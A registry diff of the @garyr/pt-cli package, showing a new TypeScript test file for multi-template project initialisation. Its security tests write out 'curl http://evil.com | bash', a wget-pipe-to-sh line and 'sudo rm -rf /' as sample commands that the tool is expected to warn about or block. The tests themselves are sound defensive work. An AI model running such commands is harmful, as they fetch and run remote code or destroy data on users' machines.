@garyr/pt-cli 1.1.1 → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +47 -0
- package/README.md +26 -27
- package/dist/commands/completionCommand.js +49 -12
- package/dist/commands/initCommand.js +476 -181
- package/dist/index.js +22 -4
- package/dist/substitute.js +45 -19
- package/doc/configuration.md +7 -5
- package/doc/usage.md +22 -5
- package/package.json +1 -1
- package/skills/agency-pt-operator/SKILL.md +5 -4
- package/src/commands/completionCommand.ts +49 -12
- package/src/commands/initCommand.ts +495 -194
- package/src/index.ts +20 -4
- package/src/substitute.ts +48 -21
- package/tests/modularity.test.ts +605 -0
|
@@ -0,0 +1,605 @@
|
|
|
1
|
+
import { test } from 'node:test';
|
|
2
|
+
import assert from 'node:assert';
|
|
3
|
+
import fs from 'fs';
|
|
4
|
+
import path from 'path';
|
|
5
|
+
|
|
6
|
+
const testHome = path.join(process.cwd(), '.test-home-modularity');
|
|
7
|
+
process.env.HOME = testHome;
|
|
8
|
+
|
|
9
|
+
import { init, mergeFolderNodes, mergeVariables, isRootReadme } from '../src/commands/initCommand.js';
|
|
10
|
+
import { saveConfig, PtConfig, TemplateConfig } from '../src/config.js';
|
|
11
|
+
|
|
12
|
+
function cleanup(...paths: string[]) {
|
|
13
|
+
for (const p of paths) {
|
|
14
|
+
if (fs.existsSync(p)) {
|
|
15
|
+
fs.rmSync(p, { recursive: true, force: true });
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
test('isRootReadme helper tests', () => {
|
|
21
|
+
assert.strictEqual(isRootReadme('readme.md'), true);
|
|
22
|
+
assert.strictEqual(isRootReadme('README.md'), true);
|
|
23
|
+
assert.strictEqual(isRootReadme('./readme.md'), true);
|
|
24
|
+
assert.strictEqual(isRootReadme('.\\readme.md'), true);
|
|
25
|
+
assert.strictEqual(isRootReadme('README.MD'), true);
|
|
26
|
+
assert.strictEqual(isRootReadme('src/README.md'), false);
|
|
27
|
+
assert.strictEqual(isRootReadme('other.md'), false);
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
test('mergeFolderNodes merges nested trees and deduplicates', () => {
|
|
31
|
+
const treeA = [
|
|
32
|
+
{
|
|
33
|
+
name: 'src',
|
|
34
|
+
info: 'Source A',
|
|
35
|
+
children: [
|
|
36
|
+
{ name: 'components', info: 'Components A' }
|
|
37
|
+
]
|
|
38
|
+
},
|
|
39
|
+
{ name: 'docs', info: 'Docs A' }
|
|
40
|
+
];
|
|
41
|
+
|
|
42
|
+
const treeB = [
|
|
43
|
+
{
|
|
44
|
+
name: 'src',
|
|
45
|
+
info: 'Source B',
|
|
46
|
+
children: [
|
|
47
|
+
{ name: 'utils', info: 'Utils B' }
|
|
48
|
+
]
|
|
49
|
+
},
|
|
50
|
+
{ name: 'tests', info: 'Tests B' }
|
|
51
|
+
];
|
|
52
|
+
|
|
53
|
+
const merged = mergeFolderNodes(treeA, treeB);
|
|
54
|
+
assert.strictEqual(merged.length, 3);
|
|
55
|
+
|
|
56
|
+
const srcNode = merged.find(n => n.name === 'src');
|
|
57
|
+
assert.ok(srcNode);
|
|
58
|
+
assert.strictEqual(srcNode?.info, 'Source B'); // Later overrides info
|
|
59
|
+
assert.strictEqual(srcNode?.children?.length, 2);
|
|
60
|
+
assert.ok(srcNode?.children?.some(c => c.name === 'components'));
|
|
61
|
+
assert.ok(srcNode?.children?.some(c => c.name === 'utils'));
|
|
62
|
+
|
|
63
|
+
assert.ok(merged.some(n => n.name === 'docs'));
|
|
64
|
+
assert.ok(merged.some(n => n.name === 'tests'));
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
test('mergeVariables deduplicates and allows later template to override defaults', () => {
|
|
68
|
+
const t1 = {
|
|
69
|
+
name: 'base',
|
|
70
|
+
template: {
|
|
71
|
+
description: 'base',
|
|
72
|
+
folders: [],
|
|
73
|
+
variables: [
|
|
74
|
+
{ name: 'project_name', prompt: 'Project name:', default: 'my-app' },
|
|
75
|
+
{ name: 'port', prompt: 'Port:', default: '8080' }
|
|
76
|
+
]
|
|
77
|
+
}
|
|
78
|
+
};
|
|
79
|
+
|
|
80
|
+
const t2 = {
|
|
81
|
+
name: 'caddy',
|
|
82
|
+
template: {
|
|
83
|
+
description: 'caddy',
|
|
84
|
+
folders: [],
|
|
85
|
+
variables: [
|
|
86
|
+
{ name: 'port', prompt: 'Caddy Port:', default: '443' },
|
|
87
|
+
{ name: 'domain', prompt: 'Domain:', default: 'example.com' }
|
|
88
|
+
]
|
|
89
|
+
}
|
|
90
|
+
};
|
|
91
|
+
|
|
92
|
+
const merged = mergeVariables([t1, t2]);
|
|
93
|
+
assert.strictEqual(merged.length, 3);
|
|
94
|
+
|
|
95
|
+
const portVar = merged.find(v => v.name === 'port');
|
|
96
|
+
assert.ok(portVar);
|
|
97
|
+
assert.strictEqual(portVar?.default, '443'); // Later template overrides default!
|
|
98
|
+
assert.strictEqual(portVar?.prompt, 'Caddy Port:');
|
|
99
|
+
|
|
100
|
+
const nameVar = merged.find(v => v.name === 'project_name');
|
|
101
|
+
assert.strictEqual(nameVar?.default, 'my-app');
|
|
102
|
+
|
|
103
|
+
const domainVar = merged.find(v => v.name === 'domain');
|
|
104
|
+
assert.strictEqual(domainVar?.default, 'example.com');
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
test('multi-template init merges templates, folders, variables, and post_config', async () => {
|
|
108
|
+
const destDir = path.join(process.cwd(), 'test-modular-dest');
|
|
109
|
+
const t1Root = path.join(process.cwd(), 'test-modular-t1-root');
|
|
110
|
+
const t2Root = path.join(process.cwd(), 'test-modular-t2-root');
|
|
111
|
+
|
|
112
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
113
|
+
|
|
114
|
+
fs.mkdirSync(t1Root, { recursive: true });
|
|
115
|
+
fs.mkdirSync(t2Root, { recursive: true });
|
|
116
|
+
|
|
117
|
+
fs.writeFileSync(path.join(t1Root, 'base-file.txt'), 'base content');
|
|
118
|
+
fs.writeFileSync(path.join(t2Root, 'addon-file.txt'), 'addon content {{ port }}');
|
|
119
|
+
|
|
120
|
+
const t1Config: TemplateConfig = {
|
|
121
|
+
description: 'Base Web App',
|
|
122
|
+
templateRoot: t1Root,
|
|
123
|
+
folders: [
|
|
124
|
+
{
|
|
125
|
+
name: 'src',
|
|
126
|
+
info: 'Base sources',
|
|
127
|
+
children: [{ name: 'frontend', info: 'UI' }]
|
|
128
|
+
}
|
|
129
|
+
],
|
|
130
|
+
variables: [
|
|
131
|
+
{ name: 'port', prompt: 'Port:', default: '3000' }
|
|
132
|
+
],
|
|
133
|
+
copy_files: [
|
|
134
|
+
{ src: 'base-file.txt', dest: 'base-file.txt' }
|
|
135
|
+
],
|
|
136
|
+
post_config: [
|
|
137
|
+
{ description: 'Run base setup', command: 'echo "BASE SETUP"' }
|
|
138
|
+
]
|
|
139
|
+
};
|
|
140
|
+
|
|
141
|
+
const t2Config: TemplateConfig = {
|
|
142
|
+
description: 'Caddy Proxy Addon',
|
|
143
|
+
templateRoot: t2Root,
|
|
144
|
+
folders: [
|
|
145
|
+
{
|
|
146
|
+
name: 'src',
|
|
147
|
+
info: 'Caddy sources',
|
|
148
|
+
children: [{ name: 'proxy', info: 'Proxy config' }]
|
|
149
|
+
}
|
|
150
|
+
],
|
|
151
|
+
variables: [
|
|
152
|
+
{ name: 'port', prompt: 'Caddy port:', default: '443' }
|
|
153
|
+
],
|
|
154
|
+
copy_files: [
|
|
155
|
+
{ src: 'addon-file.txt', dest: 'addon-file.txt', substitute_variables: true }
|
|
156
|
+
],
|
|
157
|
+
post_config: [
|
|
158
|
+
{ description: 'Run caddy setup', command: 'echo "CADDY SETUP"' }
|
|
159
|
+
]
|
|
160
|
+
};
|
|
161
|
+
|
|
162
|
+
const config: PtConfig = {
|
|
163
|
+
version: '3.0',
|
|
164
|
+
templates: {
|
|
165
|
+
'base-app': t1Config,
|
|
166
|
+
'caddy-addon': t2Config
|
|
167
|
+
}
|
|
168
|
+
};
|
|
169
|
+
saveConfig(config);
|
|
170
|
+
|
|
171
|
+
// Call init with args: ['base-app', 'caddy-addon', destDir]
|
|
172
|
+
await init(['base-app', 'caddy-addon', destDir], {
|
|
173
|
+
yes: true,
|
|
174
|
+
skipPostConfig: true
|
|
175
|
+
});
|
|
176
|
+
|
|
177
|
+
// Verify destination structure exists and is merged
|
|
178
|
+
assert.ok(fs.existsSync(destDir));
|
|
179
|
+
assert.ok(fs.existsSync(path.join(destDir, 'src/frontend')));
|
|
180
|
+
assert.ok(fs.existsSync(path.join(destDir, 'src/proxy')));
|
|
181
|
+
|
|
182
|
+
// Verify copy files from both templates
|
|
183
|
+
assert.ok(fs.existsSync(path.join(destDir, 'base-file.txt')));
|
|
184
|
+
assert.strictEqual(fs.readFileSync(path.join(destDir, 'base-file.txt'), 'utf-8'), 'base content');
|
|
185
|
+
|
|
186
|
+
assert.ok(fs.existsSync(path.join(destDir, 'addon-file.txt')));
|
|
187
|
+
// Verify later template default (443) was used for port substitution
|
|
188
|
+
assert.strictEqual(fs.readFileSync(path.join(destDir, 'addon-file.txt'), 'utf-8'), 'addon content 443');
|
|
189
|
+
|
|
190
|
+
// Verify .info.md contains both template names
|
|
191
|
+
const infoContent = fs.readFileSync(path.join(destDir, '.info.md'), 'utf-8');
|
|
192
|
+
assert.ok(infoContent.includes('base-app'));
|
|
193
|
+
assert.ok(infoContent.includes('caddy-addon'));
|
|
194
|
+
|
|
195
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
196
|
+
});
|
|
197
|
+
|
|
198
|
+
test('readme renaming when multiple templates define root readme', async () => {
|
|
199
|
+
const destDir = path.join(process.cwd(), 'test-readme-rename-dest');
|
|
200
|
+
const t1Root = path.join(process.cwd(), 'test-readme-t1-root');
|
|
201
|
+
const t2Root = path.join(process.cwd(), 'test-readme-t2-root');
|
|
202
|
+
|
|
203
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
204
|
+
|
|
205
|
+
fs.mkdirSync(t1Root, { recursive: true });
|
|
206
|
+
fs.mkdirSync(t2Root, { recursive: true });
|
|
207
|
+
|
|
208
|
+
fs.writeFileSync(path.join(t1Root, 'README.md'), '# Base Documentation');
|
|
209
|
+
fs.writeFileSync(path.join(t2Root, 'readme.md'), '# Addon Documentation');
|
|
210
|
+
|
|
211
|
+
const config: PtConfig = {
|
|
212
|
+
version: '3.0',
|
|
213
|
+
templates: {
|
|
214
|
+
'base': {
|
|
215
|
+
description: 'Base with uppercase README',
|
|
216
|
+
templateRoot: t1Root,
|
|
217
|
+
folders: [],
|
|
218
|
+
copy_files: [{ src: 'README.md', dest: 'README.md' }]
|
|
219
|
+
},
|
|
220
|
+
'addon': {
|
|
221
|
+
description: 'Addon with lowercase readme',
|
|
222
|
+
templateRoot: t2Root,
|
|
223
|
+
folders: [],
|
|
224
|
+
copy_files: [{ src: 'readme.md', dest: 'readme.md' }]
|
|
225
|
+
}
|
|
226
|
+
}
|
|
227
|
+
};
|
|
228
|
+
saveConfig(config);
|
|
229
|
+
|
|
230
|
+
await init(['base', 'addon', destDir], {
|
|
231
|
+
yes: true,
|
|
232
|
+
skipPostConfig: true
|
|
233
|
+
});
|
|
234
|
+
|
|
235
|
+
// Since both templates have root readmes, both should be renamed preserving case
|
|
236
|
+
assert.ok(!fs.existsSync(path.join(destDir, 'README.md')), 'Standard README.md should not exist');
|
|
237
|
+
assert.ok(fs.existsSync(path.join(destDir, 'README_base.md')), 'README_base.md should exist');
|
|
238
|
+
assert.ok(fs.existsSync(path.join(destDir, 'readme_addon.md')), 'readme_addon.md should exist');
|
|
239
|
+
|
|
240
|
+
assert.strictEqual(fs.readFileSync(path.join(destDir, 'README_base.md'), 'utf-8'), '# Base Documentation');
|
|
241
|
+
assert.strictEqual(fs.readFileSync(path.join(destDir, 'readme_addon.md'), 'utf-8'), '# Addon Documentation');
|
|
242
|
+
|
|
243
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
244
|
+
});
|
|
245
|
+
|
|
246
|
+
test('single template root readme is not renamed', async () => {
|
|
247
|
+
const destDir = path.join(process.cwd(), 'test-single-readme-dest');
|
|
248
|
+
const t1Root = path.join(process.cwd(), 'test-single-readme-root');
|
|
249
|
+
|
|
250
|
+
cleanup(destDir, t1Root, testHome);
|
|
251
|
+
fs.mkdirSync(t1Root, { recursive: true });
|
|
252
|
+
fs.writeFileSync(path.join(t1Root, 'README.md'), '# Single Readme');
|
|
253
|
+
|
|
254
|
+
const config: PtConfig = {
|
|
255
|
+
version: '3.0',
|
|
256
|
+
templates: {
|
|
257
|
+
'standalone': {
|
|
258
|
+
description: 'Standalone',
|
|
259
|
+
templateRoot: t1Root,
|
|
260
|
+
folders: [],
|
|
261
|
+
copy_files: [{ src: 'README.md', dest: 'README.md' }]
|
|
262
|
+
}
|
|
263
|
+
}
|
|
264
|
+
};
|
|
265
|
+
saveConfig(config);
|
|
266
|
+
|
|
267
|
+
await init(['standalone', destDir], {
|
|
268
|
+
yes: true,
|
|
269
|
+
skipPostConfig: true
|
|
270
|
+
});
|
|
271
|
+
|
|
272
|
+
// Single readme remains README.md
|
|
273
|
+
assert.ok(fs.existsSync(path.join(destDir, 'README.md')));
|
|
274
|
+
assert.ok(!fs.existsSync(path.join(destDir, 'README_standalone.md')));
|
|
275
|
+
|
|
276
|
+
cleanup(destDir, t1Root, testHome);
|
|
277
|
+
});
|
|
278
|
+
|
|
279
|
+
test('collision resolution: overwrite (default) vs newest', async () => {
|
|
280
|
+
const destDir = path.join(process.cwd(), 'test-collision-dest');
|
|
281
|
+
const t1Root = path.join(process.cwd(), 'test-collision-t1-root');
|
|
282
|
+
const t2Root = path.join(process.cwd(), 'test-collision-t2-root');
|
|
283
|
+
|
|
284
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
285
|
+
fs.mkdirSync(t1Root, { recursive: true });
|
|
286
|
+
fs.mkdirSync(t2Root, { recursive: true });
|
|
287
|
+
|
|
288
|
+
fs.writeFileSync(path.join(t1Root, 'shared.txt'), 'content from t1');
|
|
289
|
+
fs.writeFileSync(path.join(t2Root, 'shared.txt'), 'content from t2');
|
|
290
|
+
|
|
291
|
+
const config: PtConfig = {
|
|
292
|
+
version: '3.0',
|
|
293
|
+
templates: {
|
|
294
|
+
't1': {
|
|
295
|
+
description: 'T1',
|
|
296
|
+
templateRoot: t1Root,
|
|
297
|
+
folders: [],
|
|
298
|
+
copy_files: [{ src: 'shared.txt', dest: 'shared.txt' }]
|
|
299
|
+
},
|
|
300
|
+
't2': {
|
|
301
|
+
description: 'T2',
|
|
302
|
+
templateRoot: t2Root,
|
|
303
|
+
folders: [],
|
|
304
|
+
copy_files: [{ src: 'shared.txt', dest: 'shared.txt' }]
|
|
305
|
+
}
|
|
306
|
+
}
|
|
307
|
+
};
|
|
308
|
+
saveConfig(config);
|
|
309
|
+
|
|
310
|
+
// Default: overwrite (t2 overwrites t1)
|
|
311
|
+
await init(['t1', 't2', destDir], {
|
|
312
|
+
yes: true,
|
|
313
|
+
skipPostConfig: true
|
|
314
|
+
});
|
|
315
|
+
assert.strictEqual(fs.readFileSync(path.join(destDir, 'shared.txt'), 'utf-8'), 'content from t2');
|
|
316
|
+
|
|
317
|
+
cleanup(destDir);
|
|
318
|
+
|
|
319
|
+
// Now make t1 newer on disk
|
|
320
|
+
const futureTime = (Date.now() + 100000) / 1000;
|
|
321
|
+
fs.utimesSync(path.join(t1Root, 'shared.txt'), futureTime, futureTime);
|
|
322
|
+
|
|
323
|
+
// Collision mode: newest (t1 is newer than t2, so after t1 writes, t2 is skipped because t2 is older)
|
|
324
|
+
await init(['t1', 't2', destDir], {
|
|
325
|
+
yes: true,
|
|
326
|
+
skipPostConfig: true,
|
|
327
|
+
collision: 'newest'
|
|
328
|
+
});
|
|
329
|
+
assert.strictEqual(fs.readFileSync(path.join(destDir, 'shared.txt'), 'utf-8'), 'content from t1');
|
|
330
|
+
|
|
331
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
332
|
+
});
|
|
333
|
+
|
|
334
|
+
test('direct JSON template files in variadic slots', async () => {
|
|
335
|
+
const destDir = path.join(process.cwd(), 'test-direct-json-dest');
|
|
336
|
+
const json1 = path.join(process.cwd(), 'test-mod-1.json');
|
|
337
|
+
const json2 = path.join(process.cwd(), 'test-mod-2.json');
|
|
338
|
+
|
|
339
|
+
cleanup(destDir, json1, json2, testHome);
|
|
340
|
+
|
|
341
|
+
fs.writeFileSync(json1, JSON.stringify({
|
|
342
|
+
name: 'json-module-1',
|
|
343
|
+
description: 'JSON Mod 1',
|
|
344
|
+
folders: [{ name: 'mod1-folder', info: 'mod1' }]
|
|
345
|
+
}));
|
|
346
|
+
|
|
347
|
+
fs.writeFileSync(json2, JSON.stringify({
|
|
348
|
+
name: 'json-module-2',
|
|
349
|
+
description: 'JSON Mod 2',
|
|
350
|
+
folders: [{ name: 'mod2-folder', info: 'mod2' }]
|
|
351
|
+
}));
|
|
352
|
+
|
|
353
|
+
await init([json1, json2, destDir], {
|
|
354
|
+
yes: true,
|
|
355
|
+
skipPostConfig: true
|
|
356
|
+
});
|
|
357
|
+
|
|
358
|
+
assert.ok(fs.existsSync(path.join(destDir, 'mod1-folder')));
|
|
359
|
+
assert.ok(fs.existsSync(path.join(destDir, 'mod2-folder')));
|
|
360
|
+
|
|
361
|
+
cleanup(destDir, json1, json2, testHome);
|
|
362
|
+
});
|
|
363
|
+
|
|
364
|
+
// Test deduplication of post_config tasks across templates
|
|
365
|
+
test('post_config tasks deduplicated across templates', async () => {
|
|
366
|
+
const destDir = path.join(process.cwd(), 'test-dedup-dest');
|
|
367
|
+
const t1Root = path.join(process.cwd(), 'test-dedup-t1-root');
|
|
368
|
+
const t2Root = path.join(process.cwd(), 'test-dedup-t2-root');
|
|
369
|
+
|
|
370
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
371
|
+
fs.mkdirSync(t1Root, { recursive: true });
|
|
372
|
+
fs.mkdirSync(t2Root, { recursive: true });
|
|
373
|
+
|
|
374
|
+
const config: PtConfig = {
|
|
375
|
+
version: '3.0',
|
|
376
|
+
templates: {
|
|
377
|
+
'base': {
|
|
378
|
+
description: 'Base',
|
|
379
|
+
templateRoot: t1Root,
|
|
380
|
+
folders: [],
|
|
381
|
+
copy_files: [],
|
|
382
|
+
post_config: [
|
|
383
|
+
{ description: 'Initialize git repo', command: 'git init' },
|
|
384
|
+
{ description: 'Common setup', command: 'echo "common"' }
|
|
385
|
+
]
|
|
386
|
+
},
|
|
387
|
+
'addon': {
|
|
388
|
+
description: 'Addon',
|
|
389
|
+
templateRoot: t2Root,
|
|
390
|
+
folders: [],
|
|
391
|
+
copy_files: [],
|
|
392
|
+
post_config: [
|
|
393
|
+
{ description: 'Initialize git repo', command: 'git init' }, // duplicate
|
|
394
|
+
{ description: 'Install git-lfs', command: 'git lfs install' }
|
|
395
|
+
]
|
|
396
|
+
}
|
|
397
|
+
}
|
|
398
|
+
};
|
|
399
|
+
saveConfig(config);
|
|
400
|
+
|
|
401
|
+
// Capture stdout to verify deduplicated task list
|
|
402
|
+
const originalLog = console.log;
|
|
403
|
+
let loggedOutput = '';
|
|
404
|
+
console.log = (str: string) => { loggedOutput += str; };
|
|
405
|
+
|
|
406
|
+
try {
|
|
407
|
+
await init(['base', 'addon', destDir], {
|
|
408
|
+
yes: true,
|
|
409
|
+
dryRun: true
|
|
410
|
+
});
|
|
411
|
+
} finally {
|
|
412
|
+
console.log = originalLog;
|
|
413
|
+
}
|
|
414
|
+
|
|
415
|
+
// Verify deduplication: only 3 tasks (not 4)
|
|
416
|
+
// git init appears once, common setup, git lfs install
|
|
417
|
+
assert.ok(loggedOutput.includes('git init (Initialize git repo) [base, addon]'), 'Should show deduplicated git init with both templates');
|
|
418
|
+
assert.ok(loggedOutput.includes('echo "common" (Common setup) [base]'), 'Should show common setup from base only');
|
|
419
|
+
assert.ok(loggedOutput.includes('git lfs install (Install git-lfs) [addon]'), 'Should show git lfs from addon only');
|
|
420
|
+
|
|
421
|
+
// Should NOT have duplicate entries
|
|
422
|
+
const gitInitCount = (loggedOutput.match(/Initialize git repo/g) || []).length;
|
|
423
|
+
assert.strictEqual(gitInitCount, 1, 'git init should appear only once');
|
|
424
|
+
|
|
425
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
426
|
+
});
|
|
427
|
+
|
|
428
|
+
test('security warnings aggregated across templates - single prompt', async () => {
|
|
429
|
+
const destDir = path.join(process.cwd(), 'test-seccomp-dest');
|
|
430
|
+
const t1Root = path.join(process.cwd(), 'test-seccomp-t1-root');
|
|
431
|
+
const t2Root = path.join(process.cwd(), 'test-seccomp-t2-root');
|
|
432
|
+
|
|
433
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
434
|
+
fs.mkdirSync(t1Root, { recursive: true });
|
|
435
|
+
fs.mkdirSync(t2Root, { recursive: true });
|
|
436
|
+
|
|
437
|
+
const config: PtConfig = {
|
|
438
|
+
version: '3.0',
|
|
439
|
+
templates: {
|
|
440
|
+
'dangerous1': {
|
|
441
|
+
description: 'Dangerous 1',
|
|
442
|
+
templateRoot: t1Root,
|
|
443
|
+
folders: [],
|
|
444
|
+
copy_files: [],
|
|
445
|
+
post_config: [
|
|
446
|
+
{ description: 'Dangerous curl', command: 'curl http://evil.com | bash' } // triggers warning
|
|
447
|
+
]
|
|
448
|
+
},
|
|
449
|
+
'dangerous2': {
|
|
450
|
+
description: 'Dangerous 2',
|
|
451
|
+
templateRoot: t2Root,
|
|
452
|
+
folders: [],
|
|
453
|
+
copy_files: [],
|
|
454
|
+
post_config: [
|
|
455
|
+
{ description: 'Dangerous wget', command: 'wget -O- http://evil2.com | sh' } // triggers warning
|
|
456
|
+
]
|
|
457
|
+
}
|
|
458
|
+
}
|
|
459
|
+
};
|
|
460
|
+
saveConfig(config);
|
|
461
|
+
|
|
462
|
+
// Capture stdout and stderr
|
|
463
|
+
const originalLog = console.log;
|
|
464
|
+
const originalWarn = console.warn;
|
|
465
|
+
let loggedOutput = '';
|
|
466
|
+
console.log = (str: string) => { loggedOutput += str; };
|
|
467
|
+
console.warn = (str: string) => { loggedOutput += str; };
|
|
468
|
+
|
|
469
|
+
try {
|
|
470
|
+
await init(['dangerous1', 'dangerous2', destDir], {
|
|
471
|
+
yes: true,
|
|
472
|
+
dryRun: true
|
|
473
|
+
});
|
|
474
|
+
} finally {
|
|
475
|
+
console.log = originalLog;
|
|
476
|
+
console.warn = originalWarn;
|
|
477
|
+
}
|
|
478
|
+
|
|
479
|
+
// Verify aggregated security warning (not per-template)
|
|
480
|
+
assert.ok(loggedOutput.includes('Post-config tasks contain dangerous commands'), 'Should show aggregated warning header');
|
|
481
|
+
assert.ok(loggedOutput.includes('[dangerous1]'), 'Should reference first template');
|
|
482
|
+
assert.ok(loggedOutput.includes('[dangerous2]'), 'Should reference second template');
|
|
483
|
+
// In --yes mode, should show auto-confirm message
|
|
484
|
+
assert.ok(loggedOutput.includes('Proceeding anyway (non-interactive mode with auto-confirm enabled)'), 'Should auto-confirm in --yes mode');
|
|
485
|
+
|
|
486
|
+
// Should NOT have per-template prompts
|
|
487
|
+
const perTemplatePromptCount = (loggedOutput.match(/Run post-config tasks for/g) || []).length;
|
|
488
|
+
assert.strictEqual(perTemplatePromptCount, 0, 'Should not have per-template prompts');
|
|
489
|
+
|
|
490
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
491
|
+
});
|
|
492
|
+
|
|
493
|
+
test('blocked commands still abort across all templates', async () => {
|
|
494
|
+
const destDir = path.join(process.cwd(), 'test-blocked-dest');
|
|
495
|
+
const t1Root = path.join(process.cwd(), 'test-blocked-t1-root');
|
|
496
|
+
const t2Root = path.join(process.cwd(), 'test-blocked-t2-root');
|
|
497
|
+
|
|
498
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
499
|
+
fs.mkdirSync(t1Root, { recursive: true });
|
|
500
|
+
fs.mkdirSync(t2Root, { recursive: true });
|
|
501
|
+
|
|
502
|
+
const config: PtConfig = {
|
|
503
|
+
version: '3.0',
|
|
504
|
+
templates: {
|
|
505
|
+
'safe': {
|
|
506
|
+
description: 'Safe',
|
|
507
|
+
templateRoot: t1Root,
|
|
508
|
+
folders: [],
|
|
509
|
+
copy_files: [],
|
|
510
|
+
post_config: [
|
|
511
|
+
{ description: 'Safe command', command: 'echo hello' }
|
|
512
|
+
]
|
|
513
|
+
},
|
|
514
|
+
'blocked': {
|
|
515
|
+
description: 'Blocked',
|
|
516
|
+
templateRoot: t2Root,
|
|
517
|
+
folders: [],
|
|
518
|
+
copy_files: [],
|
|
519
|
+
post_config: [
|
|
520
|
+
{ description: 'Blocked sudo', command: 'sudo rm -rf /' } // blocked
|
|
521
|
+
]
|
|
522
|
+
}
|
|
523
|
+
}
|
|
524
|
+
};
|
|
525
|
+
saveConfig(config);
|
|
526
|
+
|
|
527
|
+
// Mock process.exit so the test doesn't die
|
|
528
|
+
const originalExit = process.exit;
|
|
529
|
+
let exitCode: number | undefined;
|
|
530
|
+
let exitCalled = false;
|
|
531
|
+
process.exit = ((code?: number) => {
|
|
532
|
+
exitCode = code;
|
|
533
|
+
exitCalled = true;
|
|
534
|
+
throw new Error('process.exit called');
|
|
535
|
+
}) as typeof process.exit;
|
|
536
|
+
|
|
537
|
+
try {
|
|
538
|
+
await init(['safe', 'blocked', destDir], {
|
|
539
|
+
yes: true,
|
|
540
|
+
skipPostConfig: false,
|
|
541
|
+
dryRun: true
|
|
542
|
+
});
|
|
543
|
+
assert.fail('Should have called process.exit');
|
|
544
|
+
} catch (e) {
|
|
545
|
+
if (e instanceof Error && e.message !== 'process.exit called') throw e;
|
|
546
|
+
} finally {
|
|
547
|
+
process.exit = originalExit;
|
|
548
|
+
}
|
|
549
|
+
|
|
550
|
+
// Should exit due to blocked command
|
|
551
|
+
assert.ok(exitCalled, 'process.exit should have been called');
|
|
552
|
+
assert.strictEqual(exitCode, 1, 'Should exit with code 1');
|
|
553
|
+
|
|
554
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
555
|
+
});
|
|
556
|
+
|
|
557
|
+
test('task execution uses IDs not command strings - prevents duplicate execution', async () => {
|
|
558
|
+
const destDir = path.join(process.cwd(), 'test-exec-dedup-dest');
|
|
559
|
+
const t1Root = path.join(process.cwd(), 'test-exec-dedup-t1-root');
|
|
560
|
+
const t2Root = path.join(process.cwd(), 'test-exec-dedup-t2-root');
|
|
561
|
+
|
|
562
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
563
|
+
fs.mkdirSync(t1Root, { recursive: true });
|
|
564
|
+
fs.mkdirSync(t2Root, { recursive: true });
|
|
565
|
+
|
|
566
|
+
const config: PtConfig = {
|
|
567
|
+
version: '3.0',
|
|
568
|
+
templates: {
|
|
569
|
+
'base': {
|
|
570
|
+
description: 'Base',
|
|
571
|
+
templateRoot: t1Root,
|
|
572
|
+
folders: [{ name: 'src', info: 'Sources' }],
|
|
573
|
+
copy_files: [],
|
|
574
|
+
post_config: [
|
|
575
|
+
{ description: 'Shared task', command: 'echo "shared"' }
|
|
576
|
+
]
|
|
577
|
+
},
|
|
578
|
+
'addon': {
|
|
579
|
+
description: 'Addon',
|
|
580
|
+
templateRoot: t2Root,
|
|
581
|
+
folders: [],
|
|
582
|
+
copy_files: [],
|
|
583
|
+
post_config: [
|
|
584
|
+
{ description: 'Shared task', command: 'echo "shared"' } // exact duplicate
|
|
585
|
+
]
|
|
586
|
+
}
|
|
587
|
+
}
|
|
588
|
+
};
|
|
589
|
+
saveConfig(config);
|
|
590
|
+
|
|
591
|
+
// With --yes, all deduplicated tasks should run exactly once
|
|
592
|
+
await init(['base', 'addon', destDir], {
|
|
593
|
+
yes: true,
|
|
594
|
+
skipPostConfig: false
|
|
595
|
+
});
|
|
596
|
+
|
|
597
|
+
// Check post_config.sh was generated with only one instance of the shared task
|
|
598
|
+
const postConfigPath = path.join(destDir, 'post_config.sh');
|
|
599
|
+
assert.ok(fs.existsSync(postConfigPath), 'post_config.sh should exist');
|
|
600
|
+
const postConfigContent = fs.readFileSync(postConfigPath, 'utf-8');
|
|
601
|
+
const sharedCount = (postConfigContent.match(/echo "shared"/g) || []).length;
|
|
602
|
+
assert.strictEqual(sharedCount, 1, 'Shared task should appear only once in generated script');
|
|
603
|
+
|
|
604
|
+
cleanup(destDir, t1Root, t2Root, testHome);
|
|
605
|
+
});
|